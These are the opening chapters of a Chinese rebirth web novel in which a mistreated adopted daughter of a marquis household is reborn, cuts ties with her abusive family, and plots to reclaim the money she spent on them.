《敲骨吸髓？重生另选家人宠我如宝》 第1章 捉奸在床后 “姐夫……你别急……” “我怎么能不急，待会儿你姐姐来了……” “怎么，你怕我姐？半个时辰之后她才脱得了身……” “才半个时辰，时间不够啊……” “姐夫，讨厌……” 风吹紫藤，扰乱一池春水。 苏舒窈好像在做梦。 梦里，她还未出嫁。 她站在闺房门口，静静地听着房内的淫靡之声。 不用仔细分辨，也能听出，里面的男女是自己的夫君元祖和妹妹苏明珠。 她的夫君和妹妹，在她的闺房里，在她的床上，行那苟且之事。 闺房里的声音越来越大，像是故意说给她听。 “姐夫，姐姐的床软，还是妹妹的床软啊？” “不及妹妹的身段软……你说，要是被你姐撞见，她会怎么样？” “她能怎么样？哎呀，姐夫，你坏……” 对啊，她能怎么样？ 父母兄妹，定然会袒护妹妹，大事化小小事化了，到头来，错的那个人，挑事的那个人，永远是她。 胸口传来一阵又一阵的抽痛…… 抬手一抹，脸上湿漉漉的。 明明只是梦，为何还是会感到酸楚？ 门打开，元祖正压在苏明珠身上，像条狗一样耸动。 看见她，两人愣了愣，元祖手忙脚乱地从苏明珠身上退出来，抓起衣物往身上套。 “舒窈，你听我解释，舒窈，不是你想的那样……” 苏明珠钻进被子里，单手撑着头：“姐姐，我觉得有点累，到你床上躺一躺，不巧遇见了姐夫。” 元祖也从慌乱中回过神来，狡辩道：“有些无聊，到你闺房看一看，没想到明珠妹妹也在，巧合罢了。” 这个梦好真实，渣男贱女的嘴脸比现实中还要清晰可恨。 苏舒窈冷静下令：“苏明珠私通外男、秽乱内闱，按例该家法处置。” 忽然，一道熟悉的声音在门口响起。 “谁要用家法啊？” 一位慈眉善目的妇人走了进来，妇人胸前戴着一串佛珠，身上散发着一股淡淡的檀香味。 她的母亲，万氏。 万氏信佛，最是慈悲。 旁人都说，万氏有一股悲天悯人的气度，可是，她却从未从她眼中看到过对自己的关怀与爱护。 苏舒窈的声音淡淡，不疾不徐：“母亲，明珠和元祖在我床上私通，不守女德、私德败坏，按照侯府家法，应该仗责三十。” “来人，把两人押下去。” 两名粗使婆子应声而入，在对上万氏那双慈悲眼的时候，两个婆子停下脚步，同时往后退了一步。 “夫人，我只是想来舒窈房间里看看，没想到碰到明珠在这里休息。”元祖衣衫还乱着，恬不知耻狡辩：“是舒窈误会了。” 苏明珠怯生生道：“母亲，是姐姐误会了，我们真的没有。” 苏舒窈缓缓上前一步，拉住元祖衣襟里的一抹赤色。 一条赤色鸳鸯肚兜水灵灵出现在众人眼前。 肚兜上，绣有苏明珠的闺名。 苏舒窈拿起肚兜，淡然出声：“只是偶遇，你身上怎么会有苏明珠的肚兜？” 捉奸在床，证据确凿。 苏明珠和元祖神色一变。 万氏捏着佛珠的手顿了顿。 苏舒窈转头看向两个婆子：“愣着干什么，还不快将两人绑了。” 两个婆子看向万氏。 万氏继续转动手中的佛珠：“如果真是这样，确实该执行家法。” 伸出手：“肚兜给我看一看。” 苏舒窈迟疑了一瞬，还是将肚兜递了过去。 万氏拿起，只看了一眼，便道：“这不是明珠的肚兜。” 苏舒窈眉心一皱，“怎么不是，上面绣了她的名字。” 她上前，想要翻出绣有名字那面。 万氏退后一步，眼神示意，两个婆子上前，将苏舒窈拦住。 “舒窈，女儿家名声重要，明珠是你妹妹，你竟然栽赃嫁祸。”万氏从容不迫地将肚兜收了起来。 苏明珠睡在床上，委屈巴巴地垂着眼帘：“母亲，我不怪姐姐，我的名声，和姐姐的幸福比起来，一点也不重要……” 苏舒窈愣了愣。 在梦里，母亲也是这般偏心。 忽然，万氏一巴掌甩过来。 苏舒窈被打得头一偏，耳朵发出一声嗡响。 好痛。 梦怎么会痛…… “舒窈，你一定要害死你妹妹才满意是吧？！” “别人家的姐姐，总是千方百计维护妹妹，只有你，每天盯着妹妹身上的错处，盼着你妹妹去死！” “我怎么养了你这么一个忘恩负义的白眼狼啊！” 万氏气得胸口起伏，指着苏舒窈破口大骂。 “来人，把大小姐拖下去，关进柴房！” 两个粗使婆子冲进来，架起她往柴房走去。 看着眼前熟悉又陌生的场景，苏舒窈脑中灵光一闪。 这不是梦…… 她好像......重生了。 低头一看，左手虎口处有一处新添的伤疤—— 这是她十六岁那年，亲自给万氏熬药，不小心烫伤的。 她重生在了十六岁这一年…… 苏舒窈是被老夫人养大的，她从小跟着老夫人学习中馈，打理侯府产业。 侯府开销极大，全靠她挣来银子维持体面，全家享受着她的付出，背地里嫌她经商抛头露面，损了侯府名声。 大哥要娶青楼花魁，她极力反对。功成名就的大哥却道：苏舒窈，是你害我失去了一生挚爱！ 二哥腿伤严重，也是她请来名医，保住了二哥的腿。成为武将获得战功的二哥却嫌她多管闲事、居功自傲。 小妹心仪穷书生，是她从中阻拦，分析利弊。高嫁后的小妹过着锦衣玉食的生活，却恨她入骨。 父亲因为得罪权贵，被下了诏狱。 苏舒窈为了此事四处奔走，耗费千金。 那一天，她为了讨好端王妃，穿着轻薄的衣裳，在冰面跳了一个时辰的舞，终于求得端王妃答应帮忙。 她被冻得浑身青紫，全身发软，走路都走不稳。 回到家之后，却见父亲已经被放了出来，一家人亲亲热热商议着要去别院泡温泉。 没有一个人关心她的死活。 他们说，妹妹是福星，妹妹诚心礼佛，求得上天感动，父亲才获得清白。 无人信她。 那个时候，她才知道，她只是一个鸠占鹊巢的假千金，苏明珠才是他们亲妹妹。 当初苏明珠意外走失，万氏心疼难耐，她只是一个用来安抚万氏的弃婴。 现在亲生女儿找到，她这个工具人，也该被抛弃了。 怪不得，她倾其所有付出，都得不到家人的真心。 就连未婚夫元祖，也嫌她心机深沉，不如苏明珠单纯善良。 那一日，侯府全家给她灌下迷药，把她和马夫扔在一张床上，污蔑她和马夫有染，家法打断她的双腿，夺了她手上的产业...... 全家人恨她厌她。 什么都没做，只会说好话的苏明珠却被全家捧在手心。 在他们眼中，她不及苏明珠万分之一。 想起前世种种，苏舒窈脸色发白，浑身冷汗涔涔，胸口传来一阵又一阵刺痛。 这样的亲情，早就该当做垃圾扔了。 婆子架着她，把她关进柴房。 万氏站在柴房面前，微弯的眉眼烘托出一副慈眉善目的皮囊： “舒窈，今日的事不准再提了。你可知道，名声对于一个女子来说，何其重要，因为你的妒忌，明珠日日以泪洗面，夜夜辗转难眠，心中郁结难消。” “你倒是嘴上爽快了，却不知，明珠因为你的话，忧思成疾。” “但明珠心善纯真，从未怪过你一句，她还时常劝你几个哥哥和元家大公子，让他们对你好一些。” “今天你要是不向明珠道歉，别怪为娘不讲情面！娘也是可以动用家法的！” 万氏说完，便转身离开了。 苏舒窈站在阴暗湿冷的柴房里，静静地看着屋顶漏下的一抹光斑。 威远侯府的家法：仗刑。 她上辈子挨过。 很痛。 挨过一次，能记一辈子。 “大小姐，你就认错吧，柴房阴暗潮湿，身体再好的人关久了都会生病的。”秋霜委屈得眼眶都红了：“认个错，先出来再说。” 苏舒窈看着天上云舒云卷，淡淡一笑：“放心，马上就会有人来请我出去。” 话音刚落，就见夫人身边的管事媳妇吴妈妈火急火燎地跑了过来： “大小姐不好了，您快去劝劝啊，世子爷以死相逼，要娶青楼女子为妻！！” 苏舒窈勾了勾唇，眼眸一扬。 看吧，请她的人不是来了吗？ 第2章 劝阻 “父亲、母亲，儿子此生非梨棠姑娘不娶！” “梨棠姑娘虽是春栏院花魁，但她身子清白，京城那么多王孙公子为她一掷千金，她只许了儿子一人。” “还请父亲母亲成全！” “父亲母亲要是不答应，明年的科举，我也不参加了！” 苏舒窈刚进门，就听到一席逆天的言论。 大哥还是这般愚不可及，竟然用科举威胁，就为了一个青楼女子。 厅堂内乱成了一锅粥，威远侯绷着脸，眉头皱得能夹死蚊子。 万氏手上搅着帕子，默默垂泪。 看到苏舒窈，万氏好似看到了救星，一把将人拉过来：“我的儿啊，你快劝劝你大哥吧，你大哥失心疯了！” 全然忘记了，两个时辰前，万氏将她扔进柴房，逼她向苏明珠道歉，还威胁要对她用家法。 需要她的时候，她就是万氏的女儿，一旦不需要了，就能随意丢弃。 苏舒窈眼眸低垂，将手从万氏手中抽出。 婚姻本是父母之命媒妁之言，只要万氏强硬不答应，大哥还能和青楼女子私奔不成？ 万氏还是一如既往地自私，偏要让她来当这个恶人。 忽然，苏明沛一个箭步冲过来，扬起手中巴掌。 苏舒窈偏头一躲，下巴还是被巴掌扫到了。 她皮肤薄，雪白的下巴立时出现了一道红痕，火辣辣的疼。 苏舒窈眉心一皱，看了过去：“苏明沛，你干什么？” “苏舒窈，你装什么？我知道是你从中作梗，阻止我娶梨棠！” 苏明沛大声咆哮，眼神怨毒，恨不得把她吃了。 “……你说是就是吧。” 她已经习惯了屎盆子往头上扣。 威远侯府的男人，都是这般自私不讲道理。 “你别装无辜！”苏明沛的语气里，藏着毫不掩饰的厌恶： “苏舒窈，我们侯府养你一场，你非但不感恩，反而包藏祸心！” “我打的就是你！” 苏明沛咆哮着，一脚朝着苏舒窈踹过去。 这回苏舒窈有所准备，她及时躲开，苏明沛一脚踹到了凳子上。 “苏舒窈，你好狠毒！”苏明沛痛得脸部扭曲，连吸好大几口气。 看吧，没踹到人，也要怪她。 明明是他自己踹到桌棱上的。 万氏和威远侯眼睁睁看着苏明沛责难，没有为她辩驳过一句，更没有阻止苏明沛对她施暴。 无妨，这些她早已不在意了。 苏明沛像条疯狗一般，还要再次冲过来打人。 这一次，苏舒窈往后一步，退到苏明珠身后。 眼看巴掌快要落到苏明珠脸上，威远侯才出声阻止：“苏明沛，你疯够了没！” 苏明沛终于停下手来。 差点就伤到了他最心爱的妹妹。 整个厅堂沉默了一瞬。 苏舒窈有些疑惑，按理说，她刚才知晓大哥要娶青楼女子，还没来得及像上一世那般强烈劝阻，大哥为何如此笃定是她从中作梗？ 上一世，大哥要娶青楼女子，全家强烈反对，万氏推她出来挡枪，让所有人看起来，是在她的反对下，这门亲事才没有成。 这一世，她可是什么都还没做。 难道......大哥也重生了？ 万氏转过身来，重新将苏舒窈的手握住：“舒窈，你劝劝你大哥吧，堂堂侯府世子，怎么能娶一个青楼女子？” 苏舒窈将手挣脱出来，语气冷淡：“夫人，世子见我就暴躁，我劝不了。” 说完，退后一步，静静地看着这一家子折腾。 上一世，苏明珠两年后才被找到。 这一世，苏明珠提前了两年回侯府，还是她主动找上门的。 苏明珠主动找回来的时候，万氏不可置信，但苏明沛万分笃定，苏明珠是他的亲妹妹。 苏舒窈便知，苏明珠也重生了。 小小一个侯府，竟然三个人都是重生的，这下有好戏看了。 万氏顿了顿，改为抓住苏明珠的手：“明珠，你好生劝一劝你大哥。” 苏明珠回握住万氏的手，努力装出一副镇静的模样，不曾想，额头不知何时挂满了细细密密的冷汗。 万氏心下暗忖：亲生女儿遇到大事，确实没有养女沉稳。 没事儿，慢慢教就是。 苏明珠拍了拍万氏的手，“母亲放心，女儿定会好好劝一劝大哥。” 上一世，苏明珠被找回侯府，大哥已经和唐御史家的千金成了婚。 梨棠姑娘的事，她后来听下人提过几句。 据说，大哥当初非梨棠姑娘不娶，闹着要退了唐御史家的亲事，母亲被气得偷偷抹眼泪。 是苏舒窈强烈劝阻，私下里找到春栏院，出重金将梨棠姑娘买下，再远远发卖了。 大哥找不到人，这才消停下来。 为此，大哥消沉了好一段时间。 之后，大哥和唐御史家的千金成婚，得到名师指导、考中进士，但大哥心中一直忘不掉梨棠姑娘，和唐家千金的婚后生活也不幸福。 得知梨棠是被苏舒窈发卖，大哥一直对苏舒窈怀恨在心。 这个恶人，她可不做。 今后的威远侯府，可是大哥说了算。 上一世，大哥仕途坦荡，高中进士之后，官至尚书，前途无量。 听说当初大哥科举的时候，因为梨棠姑娘的事，发挥的不是很好。 这一度成为大哥的心病，也给了朝中政敌攻讦大哥的机会。 大哥原本就优秀，要是大哥娶了梨棠姑娘，定不会伤心，科举成绩只会更好，前途定会更加平坦。 金子在哪里都会发光的，她还不信了，一门婚约就把大哥的仕途断了？ 再说了，她重生一世，知晓朝堂动荡，也能给大哥建议。有她保驾护航，大哥定能走得更远。 想到这里，苏明珠心里有了成算，信心十足地走了过去。 苏明珠轻声道：“大哥，你先起来，有什么话，起来好好说。” 苏明沛抬起头来：“明珠，你也是来劝我的？” 苏明珠轻轻摇了摇头，语气坚定道： “大哥，你想娶就娶吧，但你要保证，娶了梨棠姑娘，科举必须考到一甲前三。” 苏明沛眼神一亮，“我保证，只要让我娶了梨棠姑娘，我保证科举考到一甲前三！” 上一世，失去梨棠，他大受打击，意志消沉，都能考到同进士。 这一回，他娶到梨棠，一甲前三不在话下！ 万氏听到这话，双眼圆睁，错愕得差点咬碎满嘴银牙。 苏明珠怎么回事？！ 让她去劝明沛，她就是这样劝的！ 第3章 如愿 “苏明珠，你知道你在说什么吗？！”万氏捏着佛珠的手指指尖泛白，眼前一黑，差点没站稳。 苏明珠被万氏的表情吓傻了，“母亲，你听我解释……” 万氏下意识去抓苏舒窈，伸手却抓了个空。 眉心微皱，苏舒窈今儿是怎么了？ 侯府世子要娶青楼女子，这么大一件事，苏舒窈竟然这般冷静？ 反对最激烈的，不应该是她吗？ 万氏看了一眼站在对面闷不做声的威远侯，心下暗忖，今儿这个恶人，暂时只有她来做了。 等过两天，再让苏舒窈来处理残局。 “不行，我不同意！” “我不同意，明沛，你要娶青楼女子，我就撞死给你看！” 万氏心里一横，闭着眼朝着柱子撞过去。 仆妇们一窝蜂围上前，把万氏抢救下来，又是掐人中，又是灌水。 折腾了好一回儿，万氏才缓过气来。 万氏摸着剧烈起伏的胸口，口中念了好几句“阿弥陀佛”，才慢慢开口：“明珠，你是要害死你大哥吗？” 苏明珠上前一步，跪在万氏面前，抱着万氏的大腿：“母亲别急，母亲听我解释，母亲不是一直盼着大哥上进吗，娶了梨棠姑娘，大哥保证会上进，大哥那么优秀，功名肯定没有问题，再努努力，说不定能考中状元，到时候，母亲就是状元郎的母亲。” 万氏眉心的褶皱依然没解开，这个理由，显然不能说服她。 但这点万氏认同。 她觉得明沛什么都好，只要他肯努力，就算那首辅之位，伸伸手也能够得到。 才华被认可，苏明沛嘴角微动：“母亲，只要能娶梨棠，来年春闱，我定能考中一甲前三，母亲，要真娶了唐家女，我恐怕连二甲进士都考不上！” 上一世，他就只考了个同进士。 万氏：“闭嘴，不许胡说八道！” 苏明珠见势问道：“母亲是担心少了唐家的助力，有碍大哥的仕途？” 万氏点头。 这也是她最看重的一点。 这门亲事是当初老侯爷定下的，按照现在两家的境况，唐御史家的姑娘是下嫁。 更别说得罪了唐御史，苏明沛以后入仕，只会举步维艰。 “母亲，你想想每次见面，唐家对我们侯府的态度？”苏明珠继续道。 万氏想了想：“不太好。” 岂止是不好。 唐家仗着在皇帝面前受宠，每次见到他们，都带着一种颐指气使、高高在上的态度。 唐夫人有一回在外面抱怨，要不是老夫人硬要定下这门亲事，她的宝贝闺女都是皇子妃了。 每次和唐家人见完面，万氏都要缓好几天。 苏明珠见万氏松动，信心大增：“大哥娶了唐氏女，唐家那样的人会全心全意帮助大哥吗？” “唐家规矩那么多，还没进门就不准大哥纳妾，这要是进了门，还得了。” “到时候大哥受了委屈，母亲也跟着委屈，唐家背景深厚，咱侯府有礼也无处申诉。” 万氏叹了口气：“母亲受点委屈不重要，重要的是明沛的前程。” 苏明珠又道：“其实这些都没什么，最关键的是，要是唐家的姑娘生不出儿子，又不准纳妾，那大哥该怎么办？” 提到子嗣，万氏坐直了身子。 苏明珠信心大增：“至于大哥的前程，母亲就更不用担心了，大哥科举考进前三甲，必定进入翰林院，翰林院乃是内阁首辅的摇篮，依大哥的本事，定能混得风生水起。到时候封侯拜相，指日可待。母亲放一万个心，大哥肯定不会让母亲失望的。” “母亲，你信女儿一次，女儿知道，大哥一定会功成名就的！” 她说的信誓旦旦，仿佛亲眼看到过苏明沛的锦绣前程一样。 苏明沛看着这个一心为他着想的妹妹，心尖软成了一滩水。 他真心疼爱的妹妹，也是真心为他着想。 苏明珠有种高光落在头上的感觉：“大哥要真是烂泥一块，十个唐家来了也扶不上墙，大哥若是真金，就算没有唐家，也照样能发光。” 苏舒窈浅浅一笑。 上一世，苏明沛只考了个三甲同进士，是唐家找关系让他当了个穷县令。 在唐家幕僚的辅佐与苏舒窈上百万两银子的支持下，苏明沛政绩斐然，三年之后调回京城，一路青云，最后做到了二品尚书，可谓风光无限。 当上尚书后，苏明沛最听不得一句话便是，他的成功，很大一部分靠的是唐家和苏舒窈。 这一世，苏明沛定是要证明，没有唐家和她苏舒窈的银子，他能走得更远。 想到这里，苏舒窈脸上露出一抹疏朗。 娶了青楼女子，苏明沛才会知道。 人生的艰难，才开始。 没有她的帮助，苏明沛连同进士都考不上。 正好，这一世，她不必为了这一大家子忙碌蹉跎。 趁着年轻，把自己重新养一遍。 苏明沛举起右手，立誓道：“母亲，只要让我娶梨棠，儿子一定为你挣来一品诰命！还请母亲相信儿子！” 万氏也想双诰命加身。 她沉默着没说话。 苏明沛从万氏脸上看到了松动，打蛇上棍道：“母亲，你答应了？” 万氏：“我......” 虽然觉得苏明珠的话没错，她也相信明沛有能力，但，她总觉得不该答应。 苏明珠再次开口道：“大哥，你别管母亲了，你先问问姐姐答不答应吧？” 万氏连连点头：“对，你先问舒窈的意见，只要舒窈同意，母亲就同意。” 这么大一件事，她可不敢妄自答应，明沛有出息还好，要是因为此事悔了仕途，百年之后，她怎么跟列祖列宗交代。 成功把锅甩出去，万氏肉眼可见地松了口气。 苏明沛看向苏舒窈，语气冰冷：“舒窈，你怎么说？” 苏舒窈浅浅一笑：“这事涉及到大哥的幸福，母亲都答应了，我有什么理由反对？我听母亲的。” “我当然是成全。” 苏明沛冷哼一声：“算你识趣！” 苏舒窈的态度很真诚：“恭喜大哥，觅得良缘。也祝愿大哥早日发光发热。” “苏舒窈，你别惺惺作态，你的真实想法，我清楚得很！” 幸亏这一世明珠妹妹被提前找回来了，多亏了明珠妹妹，他不用娶唐氏女了。 要不是明珠，这辈子，他还要重蹈覆辙。 “多谢明珠妹妹！多谢母亲！” 苏舒窈看着苏明沛雀跃的身影，唇角微勾。 威远侯府从此要鸡犬不宁了。 梨棠姑娘，可不是普通青楼女子那么简单…… 第4章 御医 从厅堂出来，苏舒窈重新搬了个院子。 被那对狗男女污染过的地方，她一步也不想踏入。 这侯府也是待不得了，可是，朝廷没有女户，她一个未婚的女子，哪里都去不了。 要离开侯府，还需要慢慢筹谋。 苏舒窈守着丫鬟们搬家，搬完没几天，苏明珠身边的丫鬟来了：“大小姐，二小姐让奴婢来问问，这绮香园，大小姐不住了，二小姐想搬进来，可不可以？” “可以。”少女的声音很冷清。 “多谢大小姐。” 看着小丫鬟的背影，秋霜为自家小姐打抱不平：“大小姐，二小姐怎么老是惦记着抢您的东西？！” “不仅抢院子，她还抢您的......”夫君。 秋霜心疼死了，自从明珠小姐被找到，自家小姐受了好多委屈。 “不就一个院子，她要，便给她。”苏舒窈淡然一笑： “这辈子长着呢，总有和她算账的时候。” 在苏明珠和苏明沛的连续轰炸下，万氏和威远侯勉强答应了苏明沛的婚事。 苏舒窈得知后，只是笑了笑，继续翻看着手中账本，算一算这些年，她为侯府填了多少亏空。 万氏不善经营，自从老夫人去世后，侯府年年亏空，田产卖了大半。 可是，侯府的主子们却不愿意降低生活水准，依然讲究勋贵排场。 苏舒窈觉得这样下去不是办法，用老夫人留给自己的体己开了香料铺子。 原本只是想学着怎么打理嫁妆，没成想生意出奇的好，每年盈利颇丰，开了好几家分店，几乎成了京城垄断。 前年五月，万氏到她这里哭穷，她主动把侯府中馈接管在手中，从此，公中的亏空全是她在填补。 从现在开始，她不仅要停止付出，还要把之前给出去的，一笔一笔讨回来。 “让你买的瓷器和古画，买的怎么样了？” 秋霜小声道：“已经运到府中，在大小姐私库里放着呢，大小姐现在要看？” 苏舒窈关上账本，笑了笑：“去看看。” 私库里摆放了两个紫檀木箱子，其中一个檀木箱子打开，里面整整齐齐摆放着数十个瓷器。 苏舒窈拿出一个画珐琅花卉三足熏炉，捧在手中仔细端详。 苏明沛房间里，有一个一模一样的。 但苏明沛那个是真货，这个是私窑仿制款，两者价格相差百倍不止。 檀木箱子里的其他瓷器，府中主子那里，都能找到一模一样的款式。 另一个箱子里，全是名家书画仿制品。 威远侯一介武夫，偏偏喜欢附庸风雅，学着文人赏画。当初苏舒窈帮他买了不少名家真品。 花了数万两白银。 威远侯对书画没什么研究，用这些假货换了，一时半会儿也发现不了。 “想办法把这些，全部替换。” 这个世间，什么都不可靠，唯有真金白银拿在手中，方才踏实。 心里默算了一番，全部换下来，拿去换了银子，侯府差她的银子，都还没还清呢。 还得想一点其他办法，把银子全部收回来。 等银子收回得差不多，便离了这是非之地。 秋霜一双眼睛瞪得像铜铃：“大小姐，全、全换啊？” “全部换。” 苏舒窈淡然一笑：“不用急，慢慢换。先换几个小主子房里的，万氏那里，等她出府了再换。” “嗯嗯，奴婢会小心的。”秋霜忽然觉得，大小姐有些不一样了。 从私库出来，苏舒窈吩咐，“煮两碗燕窝粥来，再拿一碟子桂花糕、蝴蝶酥、芙蓉糕，放到紫藤花下，一边赏景，一边吃。” 上一世，府里有了好东西，从来都是先紧着万氏等人，万氏说，她气血足，燕窝粥这种滋补之物，要少吃。 她为了讨好万氏，便从来不吃。 自从得知自己是养女之后，便处处谨小慎微，对府中其他人，也是卑微地讨好。 生怕做错事，被家人不喜。 对于万氏的话，更是言听计从。 现在看来，上一世，她过得好委屈。 可就算是委屈自己成全他人，他人也没记得她的好。 好不容易重生一次，她要对以前的自己好一点。 燕窝，她也是喜欢吃的。 这一世，她想吃，便吃，不必过问别人的意见。 秋霜愣了愣：“大小姐要吃两碗？” “我一碗，你一碗。”苏舒窈拉着人，一起坐下。 “啊？”秋霜讶然：“大小姐，燕窝那种矜贵物，奴婢可吃不得。” “我说你吃的，你便吃的。” 上一世，她被打断双腿关进柴房，秋霜为了救她，到处拖人帮忙，最后惹恼了万氏，被生生打死。 这一世，她定要护着这个忠心的丫鬟。 说罢，捉着秋霜的手，拉着她一同坐下。 ~ 另一边，苏明沛迫不及待要将这个好消息告诉梨棠。 他带着小厮来到春栏院，却见梨棠的房门紧闭，门口连个伺候的人都没有。 推门一看，房间昏暗，床上躺了个人，一动不动。 “梨棠？”苏明沛走上前，只见梨棠昏睡在床榻之上，唇色干燥，脸色苍白。 “沛郎~”梨棠察觉身边的动静，缓缓睁眼。 苏明沛伸手一探。 额头好烫。 “怎么回事？”苏明沛满眼都是心疼，“病了怎么不派人来通知我？” 梨棠捂着嘴，有气无力道：“沛郎，离妾身远一点，咳咳，小心过了病气，咳咳。” “小姐昨儿有些发热，请了街头的郎中开了药，吃完没有好转，反而病得更严重了。”小丫鬟打了水来，要帮人擦身子。 “街头的郎中能看什么病！”苏明沛大声道：“快，请御医来！” 小丫鬟愣了：“御......御医？” 苏公子是不是中邪了，她们春栏院的姑娘，什么时候生病能请得动御医了？ 一旁的小厮书棋也有些恍惚。 他们侯府的主子生了病都请不动御医，上哪请御医？ “世子，小的去请个郎中？” “请什么郎中，请御医！” 上一世，他们府上常年备着两个御医，就连太医院院正，都请得动。 见书棋愣怔，苏明沛这才想起，这一世，他还只是一个侯府世子，连科举都没有考中。 “算了，我亲自去请。” 听说苏明沛要去给梨棠请御医，整个春栏院的姑娘都被惊动了。 “这苏公子，是不是被邪祟魇着了？” 苏明沛来到汪太医府邸门口，被门房拦了下来：“这位公子，要见我们家主子，还得递上拜帖。” 苏明沛想了想：“我是威远侯府世子苏明沛，请你家汪太医过府看诊。” 上一世，他可是救过汪太医的命。 汪太医见了他，恭敬的很。 这一世，他请汪太医帮着梨棠瞧一回病，不过分吧。 门房听说是侯府世子，又见苏明沛身上穿着绫罗绸缎，心知是贵人，得罪不得，连忙将人请进花厅等着。 汪太医正在摆弄花草，听到下人禀报，疑惑道：“威远侯府世子？哪里来的落魄勋贵，不认识，打发了。” 第5章 羞辱 苏明沛在汪太医府上等了一个多时辰都不见人，怒了。 “你们这些下人怎么回事？竟敢慢待本世子？！” 小丫鬟客客气气道：“世子，我家主子今儿没空，不见客。” 苏明沛骂道：“真是没规矩，在本世子面前，竟敢不自称奴婢，你啊我的，成何体统？！” 小丫鬟嗤笑了一声：“公子，你谁啊？” 苏明沛有种被羞辱的感觉。 “我是威远侯府世子苏明沛！” 小丫鬟脆生生道：“苏公子，我们家主子说了，不认识你。公子请回！” 威远侯府的主子生病了汪太医都不会上门，更别说这位世子竟然上门请太医给一位青楼女子瞧病。 怕不是失心疯了。 “公子不需要太医，请个道长驱一驱身上的邪祟吧！” 苏明沛气得胸口上下起伏。 “大胆！还不快给本世子跪下！” 小丫鬟看他一眼，默不作声走了。 不过一个上门求看诊的破落户，也竟敢在太医府耀武扬威。 小丫鬟眼神里，是明晃晃的嗤笑。 苏明沛气得浑身发抖。 好你个汪太医，他上一世对他有救命之恩，竟然让一个小丫鬟来羞辱他！ 这一世，汪太医再有危难，别怪他袖手旁观！ 苏明沛拂袖而去。 他放下厥词要为梨棠请来御医，现在御医没请到，他也不好再回青楼，让书棋去医馆请了个郎中，回府去了。 苏明沛是重生了，但上一世科举题目，怎么也想不起。 看来这书，还是得继续读一读。 上一世，他拜在了李大儒的门下，是李大儒的关门弟子。 想到汪太医府上的遭遇，苏明沛抑制住立刻上门拜师的冲动，还是打算回府准备一番。 李大儒可不是什么人都收的。 上一世，他写了一篇赋，惊艳了李大儒，才拜师成功的。 这一世，先回去把赋写出来，再亲自给李大儒送过去。 ~ 这边，苏舒窈听说苏明沛要给梨棠姑娘请御医，也只是一笑了之。 算一算，上一世这个时候，苏明沛该拜李大儒为师了。 李大儒曾是太子的启蒙老师，几乎不收徒的。 李大儒是棋痴，上一世，她花重金买了一副羊脂玉做的棋子，又搜罗了不少棋谱送给李大儒。 就算这样，李大儒都不肯收大哥为弟子，只是同意指点三篇文章。 在机缘巧合之下，她救了李大儒女儿一命，大哥才能成功拜师，成为李大儒的关门弟子。 能拜师大儒，完全靠她，可是，大哥却说，是他那篇《秋菊赋》感动了大儒。 他写的那篇《秋菊赋》，狗都不看。 这一世，大哥拜师注定要失败了。 紧接着，苏舒窈让人将元家信物送了回去，明确表明退婚意愿。 和元祖的婚事，还是早点断干净的好。 元家那边收到信物，立刻派人告知了万氏。 没一会儿，便有丫鬟过来请人：“大小姐，夫人请您过去。” “马上。”苏舒窈放下手中账本，语气冷清。 刚踏进春景园大门，便闻到一股熟悉的檀香味。 春景园设了一间小佛堂，万氏每日都会焚香祷告。 苏舒窈进去的时候，万氏正在抄写佛经。 “夫人，大小姐来了。” 万氏没有停下手中动作，甚至都没有抬头，苏舒窈站了半盏茶时间，她才放下笔。 “舒窈，你还在生母亲的气？” “不敢。”苏舒窈低着头。 万氏叹了口气：“母亲也不想这样，可那事关你妹妹的声誉，母亲才失手打了你。” “过来，让母亲看看，还痛不痛？” 万氏伸出手来。 苏舒窈愣了愣。 上一世也是这样，万氏一个巴掌一颗甜枣，将她牢牢控制。 “多谢夫人关心，已经不痛了。”苏舒窈的声音淡淡的。 万氏重新拿起佛珠，脸上露出慈爱的微笑：“既然不痛了，那你把信物退还元家是怎么回事？” “下一步，你是不是该到处宣扬明珠的不是了？” 苏舒窈笑了。 万氏一点也不关心她的婚事，而是担心退婚一事闹出去，有损苏明珠的名声。 万氏这是在敲打她呢。 万氏这心啊，偏得没边了。 就是不知道，万氏发现苏明珠不是她的亲生女儿，而是威远侯外室养的孩子的时候，会是一种什么表情。 上一世她被打死之后，冤魂不散，变成阿飘徘徊在侯府四周。 她亲眼看到一个中年美妇来找苏明珠，说她才是苏明珠的亲娘。 正在思索间，苏明沛扶着苏明珠从碧纱橱里走了出来。 苏明珠眼睛红红的，显然哭过。 “苏舒窈，你怎么能胡乱造谣！”苏明沛凶狠地瞪着人，恨不得把人生吞了。 “你和元祖感情不顺，怎么能怪到明珠身上？！” 上一世苏舒窈也是这样，因为元祖的事，处处针对明珠。 明珠好可怜。 “你今天必须给明珠道歉，否则，母亲要用家法，我也不会帮忙劝阻！” 万氏：“舒窈，你别怪母亲狠心，你往明珠身上泼脏水，已经不是第一次了，再这样下去，明珠怎么嫁人，她原本已经够苦了......” “嗯，我道歉。” 苏舒窈低着头，看似乖巧。 万氏被她的态度取悦，继续贬低、打压：“你和元家的婚事虽然是老夫人定下来的，但真要仔细掰扯，婚事其实是明珠的，明珠才是侯府名正言顺的嫡出大小姐，是你吵着闹着不肯让出，全家都依着你，明珠不过和元祖说两句话，你便抓住不放......” “夫人放心，我不会乱说的。”少女的声音冷冰冰的，没有掺杂一丝一毫别样的情绪。 “就是不想要这门婚事了。” “姐姐你别这样！”苏明珠捏着手指，原地跺了跺脚：“姐姐，我无意拆散你和姐夫的婚事。” “没成婚，他不是你姐夫。”苏舒窈的声音很冷静，“这婚事原本就是长辈的一句戏言，当不得真。庚帖也没交换，我和元家的婚事，以后再也别提了。” 苏明珠小声道：“姐姐，这门婚事你真的不要了？” 说实话，她很享受这种被偏爱的团宠生活。 抢走苏舒窈在意的人，好生有趣。 尤其当元祖被她勾得团团转，看着苏舒窈心急如焚的样子，她就好笑。 苏舒窈要是主动退婚，生活会少很多乐趣。 苏舒窈低头笑了一声，语气坚定：“不要。” 整个侯府，她都不要。 万氏：“退了元家的婚事，你到哪里去找比元家还好的人家？” 简言之，嫁入元家，是你高攀了。 苏舒窈淡然一笑：“青楼女子都能找到侯府世子当夫君，我一个清清白白的女子，怎么找不到了？” 苏明沛炸了：“苏舒窈，你说什么，我看你是找死！” 他冲过来，举起拳头。 苏舒窈泰然自若地抬眼看过去：“世子要是伤了我，唐家那边退婚的事，谁帮你去周旋？” 落到眼前的拳头停了下来，苏明沛咬着牙关，收回手：“唐家那边，你好好去说，千万别得罪人。” 第6章 试探 万氏承诺，只要不胡乱编排苏明珠，元家这门婚事，任苏舒窈做主。 从春景园出来，苏明珠叫住苏舒窈。 “姐姐。” 